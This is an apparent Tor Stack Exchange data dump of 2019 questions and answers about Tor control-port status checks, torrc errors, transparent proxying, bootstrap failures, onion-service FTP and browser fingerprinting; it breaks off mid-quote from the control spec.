  <row Id="19859" PostTypeId="2" ParentId="19858" CreationDate="2019-05-14T18:30:44.557" Score="3" Body="&lt;p&gt;I personally wouldn't do this by getting a web page. It might depend on your use case but if you want to get status info about Tor you probably should get this info from the Tor control port (9051). You will have to turn on the control port in your torrc file first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can either use &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;STEM&lt;/a&gt; (which is in python) or you can get the status manually with some code like this (don't forget to put in your control port password that you specified in torrc):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socket&#xA;import sys&#xA;&#xA;try:&#xA;    tor_c = socket.create_connection(('127.0.0.1', 9051))&#xA;    tor_c.send('AUTHENTICATE &quot;{}&quot;\r\nGETINFO status/circuit-established\r\nQUIT\r\n'.format('YOUR_PWD'))&#xA;    response = tor_c.recv(1024)    &#xA;    print response&#xA;    if 'circuit-established=1' not in response:&#xA;       print 'Something is not right.'&#xA;    else:&#xA;       print 'Looks good.'&#xA;    tor_c.close()&#xA;except Exception, e:&#xA;    print e&#xA;    print 'Could not even connect to Tor port!'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This checks if there is an established Tor circuit with GETINFO. If everything works you should see this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;250 OK&#xA;250-status/circuit-established=1&#xA;250 OK&#xA;250 closing connection&#xA;&#xA;Looks good.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you out.&lt;/p&gt;&#xA;" OwnerUserId="25426" LastEditorUserId="25426" LastEditDate="2019-05-14T18:55:57.923" LastActivityDate="2019-05-14T18:55:57.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19860" PostTypeId="1" CreationDate="2019-05-15T01:27:30.257" Score="0" ViewCount="49" Body="&lt;p&gt;Tor has been giving a consistent parse error for a few months now.  I genuinely could not find any weird characters in my /etc/tor/torrc file, I got the aforementioned parse error using the config file that comes out of the box, got it with an empty file and finally tried removing the file altogether.  After removing the file I still got the same error (included below).  If anybody has any idea what might be going wrong then your input is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# tor&#xA;May 14 18:17:48.200 [notice] Tor 0.3.5.8 running on Linux with Libevent 2.1.8-stable, OpenSSL 1.0.2r, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.&#xA;May 14 18:17:48.200 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;May 14 18:17:48.200 [notice] Configuration file &quot;/etc/tor/torrc&quot; not present, using reasonable defaults.&#xA;May 14 18:17:48.203 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;May 14 18:17:48.203 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;May 14 18:17:48.000 [warn] Error while parsing configuration: Excess data after quoted string&#xA;May 14 18:17:48.000 [err] set_options(): Bug: Acting on config options left us in a broken state. Dying. (on Tor 0.3.5.8 )&#xA;May 14 18:17:48.000 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26951" LastEditorUserId="5234" LastEditDate="2019-05-15T18:17:19.110" LastActivityDate="2019-05-15T18:17:19.110" Title="Persistent &quot;excess data after quoted string&quot; Error" Tags="|configuration|error|connection|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19861" PostTypeId="1" CreationDate="2019-05-15T02:06:20.017" Score="1" ViewCount="688" Body="&lt;p&gt;I wonder why Tor Browser, Tails or Whonix are the most preferred ways of browsing Tor. What's wrong with manually doing a transparent proxy and routing all traffic over Tor through iptables? Why do it is a bad idea? Assuming, manually routing all traffic through Tor is done by a person who's familiar with Linux, networking, etc. then is doing it still a bad idea?&lt;/p&gt;&#xA;" OwnerDisplayName="user18768" LastActivityDate="2019-06-14T08:02:16.560" Title="Why doing transparent proxy is a bad idea?" Tags="|configuration|transparent-proxy|iptables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19862" PostTypeId="2" ParentId="19861" CreationDate="2019-05-15T07:16:24.677" Score="1" Body="&lt;p&gt;usually yes...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;first the easiest one, because of error-proneness:&lt;br&gt;&#xA;i'm pretty sure the configuration (and code) of the mentioned projects is reviewed much more often than the configuration of someones single setup.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and its not just about how accessing the network, it is also about the clients and their configuration:&lt;br&gt;&#xA;&lt;em&gt;--&gt; the idea is to be not just anonymous (by hiding the IP), but also not traceable/pseudonymous (by vanishing in the masses of homogenous users)...&lt;/em&gt;&lt;br&gt;&#xA;hence blocking some IPs more or less than the usual Tor user, one not so wide spread addon installed and/or a pretty special resolution of your browser window and you are pretty easily trackable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;e.g. hardening the browser is a huge task! and also the devs of the mentioned projects are also working hard to make the fingerprint of their users look even.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2019-05-15T07:16:24.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19863" PostTypeId="1" CreationDate="2019-05-16T00:36:06.800" Score="0" ViewCount="75" Body="&lt;p&gt;I'm not native speaker, so sorry for my english&#xA;My story is long, but qustion is short, so i combine it: in my oppinion, anonymity is realy important now, but a lot of people ignore it, cause think, that its hard to use soft. I want to help with popularization ideas of TOR in RU segment in Telegram. Its possible with news, information about easy ways to secure personal data. And here is two But:&#xA;1)I'm not expert in IT, so original content from me not included&#xA;2)I'm not good in other languages&#xA;But in other hand:&#xA;1)I'm sceptic and and analysist a bit, so always(when its important) when i find new info, i try to check it(Panorama taught me that)&#xA;2)Even i cant understand something(novel in other language or spec info), i am not stop, i am trying to find another еxplanation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, im thought, i need some advises about good sourses(yep, im entusiast, who want to start without good experience)&lt;/p&gt;&#xA;" OwnerUserId="26957" LastActivityDate="2021-10-03T15:13:49.890" Title="New channel in TG" Tags="|help|startup|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19864" PostTypeId="2" ParentId="13783" CreationDate="2019-05-16T06:07:01.653" Score="0" Body="&lt;p&gt;If you are using TOR browser, there is an icon near the address bar, if you click on it, a window will be appeared displaying three IPs (Entry Guard, Middle Relay, Exit Node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've connected to a hidden service, there are three more onion routers in order to hide the hidden service's real IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally If you're using the former versions of TOR browser, you can see these information by clicking the TorButton (Onion like button before address bar). Hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've took a screenshot of the newer version of TOR browser, displaying the information. In this example I've connected to this hidden service: &lt;a href=&quot;http://uutctfysirwosxjx.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://uutctfysirwosxjx.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bLWPP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLWPP.png&quot; alt=&quot;The Onion Routers&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-16T06:07:01.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19865" PostTypeId="1" CreationDate="2019-05-16T15:04:53.110" Score="1" ViewCount="5053" Body="&lt;p&gt;I used to be able to connect just fine till 2 weeks ago and it started to do this for no reason. I haven't change anything on my computer to cause this. Is tor network down or something?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;5/16/19, 14:52:50.907 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:52:50.907 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:52:50.907 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:52:50.908 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:52:50.908 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:52:50.908 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;5/16/19, 14:52:50.908 [NOTICE] Renaming old configuration file to &amp;quot;C:\Users\Rainboom\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.2&amp;quot; &#xA;5/16/19, 14:52:51.450 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;5/16/19, 14:53:47.904 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host F2044413DAC2E02E3D6BCF4735A19BCA1DE97281 at 131.188.40.189:443) &#xA;5/16/19, 14:53:47.904 [WARN] 10 connections have failed: &#xA;5/16/19, 14:53:47.904 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:53:47.904 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:53:47.924 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:53:47.924 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:05.839 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:05.839 [NOTICE] Switching to guard context &amp;quot;bridges&amp;quot; (was using &amp;quot;default&amp;quot;) &#xA;5/16/19, 14:55:05.839 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:05.840 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:05.840 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:55:05.840 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:55:06.777 [NOTICE] Delaying directory fetches: No running bridges &#xA;5/16/19, 14:55:07.377 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 11; recommendation warn; host 0872E07DE33BEE2EB5D6A9941EBF30885A5D80D7 at 199.231.94.203:443) &#xA;5/16/19, 14:55:07.377 [WARN] 11 connections have failed: &#xA;5/16/19, 14:55:07.377 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:55:07.377 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:55:07.389 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:55:07.389 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:14.627 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:14.627 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:14.627 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:14.627 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:55:14.627 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:55:16.200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 12; recommendation warn; host 0872E07DE33BEE2EB5D6A9941EBF30885A5D80D7 at 199.231.94.203:443) &#xA;5/16/19, 14:55:16.200 [WARN] 12 connections have failed: &#xA;5/16/19, 14:55:16.200 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:55:16.200 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:55:16.210 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:55:16.210 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:25.667 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:25.667 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:25.667 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:55:25.667 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:55:25.667 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:55:47.616 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 13; recommendation warn; host F9D5819CBA9432635243E1B78BF5FDC5EB13EBE3 at 137.194.11.147:34897) &#xA;5/16/19, 14:55:47.616 [WARN] 13 connections have failed: &#xA;5/16/19, 14:55:47.616 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:55:47.616 [WARN]  2 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:55:47.627 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:55:47.627 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:56:05.275 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:56:05.275 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:56:05.275 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:56:05.275 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:56:05.275 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:56:12.376 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 14; recommendation warn; host 0DB8799466902192B6C7576D58D4F7F714EC87C1 at 216.252.162.21:46089) &#xA;5/16/19, 14:56:12.376 [WARN] 15 connections have failed: &#xA;5/16/19, 14:56:12.376 [WARN]  12 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:56:12.376 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:56:12.397 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:56:12.397 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:56:12.397 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 15; recommendation warn; host CDF2E852BF539B82BD10E27E9115A31734E378C2 at 192.95.36.142:443) &#xA;5/16/19, 14:56:12.397 [WARN] 17 connections have failed: &#xA;5/16/19, 14:56:12.397 [WARN]  13 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:56:12.397 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:56:12.397 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;5/16/19, 14:56:12.398 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 16; recommendation warn; host 0BAC39417268B96B9F514E7F63FA6FBA1A788955 at 38.229.33.83:80) &#xA;5/16/19, 14:56:12.398 [WARN] 20 connections have failed: &#xA;5/16/19, 14:56:12.398 [WARN]  14 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:56:12.398 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:56:12.398 [WARN]  3 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;5/16/19, 14:56:12.399 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 17; recommendation warn; host C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 at 38.229.1.78:80) &#xA;5/16/19, 14:56:12.399 [WARN] 22 connections have failed: &#xA;5/16/19, 14:56:12.399 [WARN]  15 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:56:12.399 [WARN]  4 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;5/16/19, 14:56:12.399 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:56:12.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 18; recommendation warn; host FB70B257C162BF1038CA669D568D76F5B7F0BABB at 144.217.20.138:80) &#xA;5/16/19, 14:56:12.400 [WARN] 26 connections have failed: &#xA;5/16/19, 14:56:12.400 [WARN]  16 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:56:12.400 [WARN]  7 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;5/16/19, 14:56:12.400 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:57:04.587 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:57:04.587 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:57:04.587 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/16/19, 14:57:04.587 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:57:04.588 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:57:26.541 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 19; recommendation warn; host F9D5819CBA9432635243E1B78BF5FDC5EB13EBE3 at 137.194.11.147:34897) &#xA;5/16/19, 14:57:26.541 [WARN] 32 connections have failed: &#xA;5/16/19, 14:57:26.541 [WARN]  16 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/16/19, 14:57:26.541 [WARN]  13 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;5/16/19, 14:57:26.541 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/16/19, 14:57:26.556 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/16/19, 14:57:26.556 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26959" LastEditorUserId="24966" LastEditDate="2020-08-18T18:44:37.507" LastActivityDate="2022-11-04T06:05:58.243" Title="Tor broswer won't connect" Tags="|connection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19866" PostTypeId="2" ParentId="19865" CreationDate="2019-05-16T17:12:07.273" Score="0" Body="&lt;p&gt;It is possible that your internet provider is blocking your access to Tor. You can use a bridge to try to connect. This link will give you more information on how to use bridges. &lt;a href=&quot;https://2019.www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/bridges.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-05-16T17:12:07.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19867" PostTypeId="2" ParentId="19863" CreationDate="2019-05-16T18:19:26.563" Score="1" Body="&lt;p&gt;There is a lot here so I am going to focus on this comment because I think this is what you are asking, &quot;I want to help with popularization ideas of TOR in RU segment in Telegram.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important thing is to help people understand &lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;what is Tor&lt;/a&gt; and &lt;a href=&quot;https://2019.www.torproject.org/about/torusers.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;how is it used&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-05-16T18:19:26.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19868" PostTypeId="2" ParentId="19854" CreationDate="2019-05-16T18:31:27.290" Score="0" Body="&lt;p&gt;Assuming that you are using Linux, here's how I would do it.&#xA;Install vsftpd or whatever ftp server that you prefer. Make sure that your firewall is blocking it's normal port (probably port 21) to the outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your /etc/tor/torrc file add a line to allow ftp to be able to be accessed via Tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServicePort 21 127.0.0.1:21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then try to access it: torsocks ftp myonionxyzabc.onion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest doing this the first time in a &lt;strong&gt;temporary VM and not with your other onion services&lt;/strong&gt;. That way you can do your own testing without harming your onion services. If you see someplace where your IP is given away, stop the Tor service immediately in the temporary VM and research the ftp server to see if there is a way around it or try another ftp server.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-05-16T18:31:27.290" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19869" PostTypeId="2" ParentId="19711" CreationDate="2019-05-16T18:50:22.420" Score="2" Body="&lt;p&gt;The simplest way is opening a new plain window, e.g. using &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;N&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can place the old window above the new one in one corner and resize it to fit the corner on the other side. This is very easy with &quot;sticky&quot; window borders (configurable depending on the used desktop environment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards, you can close the plain window again.&lt;/p&gt;&#xA;" OwnerUserId="26960" LastEditorUserId="26960" LastEditDate="2019-05-23T16:26:33.310" LastActivityDate="2019-05-23T16:26:33.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19870" PostTypeId="2" ParentId="19666" CreationDate="2019-05-16T19:04:34.773" Score="1" Body="&lt;p&gt;There are extensions that do not send any data to the server side and also don't affect the data processed by the browser. Thus, these are secure to not change your fingerprint. You can see a quick overview over what an extension wants to do when adding it (&lt;a href=&quot;https://support.mozilla.org/en-US/kb/permission-request-messages-firefox-extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;explanation&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it's possible to disable parts of add-ons without touching their source code for example. So, stopping the possibly increased fingerprint is not possible, as far as I know. Of course, disabling the plug-in as a whole disables the increased fingerprint, but that's not what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you should not add extensions to your TBB. From &lt;a href=&quot;https://www.torproject.org/download/#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/#warning&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;We do not recommend installing additional add-ons or plugins into Tor Browser&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Plugins or addons may bypass Tor or compromise your privacy. Tor Browser already comes with HTTPS Everywhere, NoScript, and other patches to protect your privacy and security.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Personally, I have several instances of TBB, each for a specific use case. And there's one that &lt;em&gt;has&lt;/em&gt; additional plug-ins. But I &lt;strong&gt;do not use&lt;/strong&gt; this one while I try to be really anonymized/secured.&lt;/p&gt;&#xA;" OwnerUserId="26960" LastActivityDate="2019-05-16T19:04:34.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19871" PostTypeId="2" ParentId="19769" CreationDate="2019-05-16T19:27:16.620" Score="1" Body="&lt;p&gt;As @Steve mentioned in the comment, Tor Browser does not use Java nor does it support Java applets. So, there's no need for it to interact with your local Java installation. (Try executing any Java applet -- it will fail.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Tor Browser Bundle is a sandbox. TBB tries to only use the files and data that it has in its installation directory and does not touch other applications on your system, except for the operating system itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also safe to run e.g. Java applications while you use TBB. Your host operating system is responsible for securing the memory etc., so that there are no lacks compromising your system security.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another aspect is the Java application that you execute locally. If it's a &quot;bad&quot; application that sends your real IP to its servers and manages to e.g. connect to Tor Control Port (or at least detect a runnig Tor process), you may be not anonymous anymore. This is true for almost all software.&lt;br&gt;&#xA;&lt;sub&gt;(If the hacker makes you run his software on your computer, it's not your computer anymore.)&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="26960" LastActivityDate="2019-05-16T19:27:16.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19872" PostTypeId="2" ParentId="19196" CreationDate="2019-05-16T19:44:38.937" Score="1" Body="&lt;p&gt;It could have two different meanings when this happens:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor uses another circuit to talk to the other side and this other circuit is faster than the one you used previously. If this is true, you could also have the effect that your download starts e.g. with 3 MB/s and resumes with 1 MB/s after you paused it and Tor switched the circuit (see &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#ChangePaths&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, it does not compromise your anonymity if Tor switches circuits. The other side can obviously come to the conclusion that you switched Tor circuits. But what should the other side do with this information? It only knows two exit nodes that you have used (ignoring attack vectors on Tor itself).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your current circuit just jumped to a higher speed. A simple reason is that another user that used &lt;em&gt;your&lt;/em&gt; exit node for watching movies or downloading files or whatever that uses high data rates switched to another exit node or just closed the connection. Then, less data has to be transferred over your exit node and thus the whole circuit and therefore your download speeds up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also the case when &lt;em&gt;you&lt;/em&gt; had e.g. two downloads at the same time. If the first finished, the second one gets the &quot;full&quot; bandwidth speed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="26960" LastActivityDate="2019-05-16T19:44:38.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19873" PostTypeId="2" ParentId="19792" CreationDate="2019-05-16T20:05:21.143" Score="1" Body="&lt;p&gt;Normally, TBB is a sandbox that tries to avoid any data left on the system it was running on. So, you &lt;em&gt;should&lt;/em&gt; not have this experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See these two posts that describe where you could search for the bookmarks:&lt;br&gt;&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/9108/tor-bookmarks-file-location&quot;&gt;Tor Bookmarks file location&lt;/a&gt; and &lt;a href=&quot;https://superuser.com/questions/71144/where-does-firefox-store-bookmarks&quot;&gt;Where does Firefox store bookmarks?&lt;/a&gt; (because TBB is based on Firefox)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, from the aspect of anonymity, I would suggest you to not use one TBB on different systems. Personally, I use one instance on every device.&lt;/p&gt;&#xA;" OwnerUserId="26960" LastActivityDate="2019-05-16T20:05:21.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19874" PostTypeId="2" ParentId="19857" CreationDate="2019-05-17T03:19:47.507" Score="1" Body="&lt;p&gt;After reading &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;control-spec.txt&lt;/a&gt;, I understand. I think. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just that only client-side circuits &lt;strong&gt;have&lt;/strong&gt; streams. Onion-side circuits simply &lt;strong&gt;handle cells&lt;/strong&gt;. At lines 2023-2035, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   The &quot;PURPOSE&quot; field is provided only in versions 0.2.1.6-alpha and&#xA;   later, and only if extended events are enabled (see 3.19).  Clients&#xA;   MUST accept purposes not listed above.  Purposes are defined as&#xA;   follows:&#xA;&#xA;      GENERAL         (circuit for AP and/or directory request streams)&#xA;      HS_CLIENT_INTRO (HS client-side introduction-point circuit)&#xA;      HS_CLIENT_REND  (HS client-side rendezvous circuit; carries AP streams)&#xA;      HS_SERVICE_INTRO (HS service-side introduction-point circuit)&#xA;      HS_SERVICE_REND (HS service-side rendezvous circuit)&#xA;      TESTING         (reachability-testing circuit; carries no traffic)&#xA;      